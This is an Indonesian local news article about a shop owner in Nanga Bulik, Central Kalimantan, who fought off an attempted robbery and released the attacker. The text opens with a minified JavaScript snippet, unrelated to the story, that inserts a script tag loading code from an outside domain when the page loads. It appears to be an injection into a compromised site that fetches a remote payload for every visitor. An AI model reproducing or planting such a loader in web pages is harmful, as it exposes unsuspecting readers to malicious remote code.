(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Toko Kelontong di Nanga Bulik Nyaris Dirampok, Pelaku Kabur Pemilik Melawan

KANALKALIMANTAN.COM, NANGA BULIK –
Upaya pencurian dengan tindak kekerasan dialami Leo (59), seorang pemilik toko kelontong Berkat Putra, di Jalan A Yani RT 7, Kelurahan Nanga Bulik, Kecamatan Bulik, Kabupaten Lamandau, Kalimantan Tengah, Sabtu (5/11/2022) pukul 13:24 WIB.

Aksi percobaan pencurian dengan ancaman itu berhasil digagalkan Leo sendiri dengan jurus bela diri.

Kanalkalimantan.com, menjumpai pria 59 tahun itu, Sabtu (5/11/2022) malam. Leo menjelaskan motif pelaku yang melakukan percobaan pencurian dengan kekerasan itu awalnya menumpang istirahat di tokonya, dengan obrolan santai bersama. “Selang beberapa menit pelaku sempat bertanya ada berapa orang di rumah pak,” ujar Leo menirukan pertanyaan orang tak dikenal itu.

Pada siang itu, Leo mengaku memang sedang sendirian menjaga toko kelontongnya, istri berada di Kumai beserta anaknya.

Setelah mengetahui itu orang tak dikenal itu mau membeli roti. Setelah mengambil roti pelaku meminta izin ke kamar mandi untuk buang air kecil. Setelah diizinkan Leo, pelaku masuk ke kamar mandi di dekat kasir.

Setelah keluar dari kamar mandi pelaku dan Leo kembali berbincang-bincang. Tidak lama kemudian pelaku minta izin lagi ke kamar mandi untuk buang air besar, Leo pun menyarankan agra memilih kamar mandi di belakang.

“Kalau mau buang air besar ke kamar mandi belakang saja,” ucap Leo. Pelaku akhirnya masuk ke dalam menuju kamar mandi belakang.

Setelah keluar dari dalam kamar mandi belakang pelaku mengeluarkan uang 50 ribu rupiah untuk membayar makanan yang diambil.

Ketika Leo mengambil uang dan menuju kasir untuk memberikan kembaliannya, saat membuka laci uang, pelaku mendekatinya.

“Di dalam hati saya, oh mungkin mau mengambil kembalian,” tuturnya.

Ketika semakin dekat, ternyata pelaku mencoba menutup mulutnya dan menekan belakang kepalanya.

“Pelaku menutup mulut saya dengan menggunakan sarung tangan, refleks saya membela diri dan melawan pelaku,” jelas Leo.

Ketika pelaku menekan belakang kepala dan hidung, gerakan refleks jurus bela diri dan mendorong pelaku, sampai pelaku tidak bisa bergerak karena kena kuncian Leo.

“Pelaku memohon, pak saya minta maaf, pak saya minta maaf,” jelas Leo.

Leo pada saat itu tidak terpikirkan berteriak atau memoto pelaku karena terlintas di kepala antara emosi, panik dan kasian melihat pelaku jatuh.
Leo langsung menyuruh lelaki itu untuk pulang saja.

“Saya tidak lapor polisi, pelaku saya lepas begitu saja, suruh pulang, mungkin pelaku lagi butuh uang atau apa, hanya saja saya mengimbau kepada masyarakat tetap berhati-hati dan waspada saat menerima tamu yang tidak dikenal, tetap waspada,” tutup Leo. (Kanalkalimantan.com/habibullah)

Reporter : habi
Editor : kk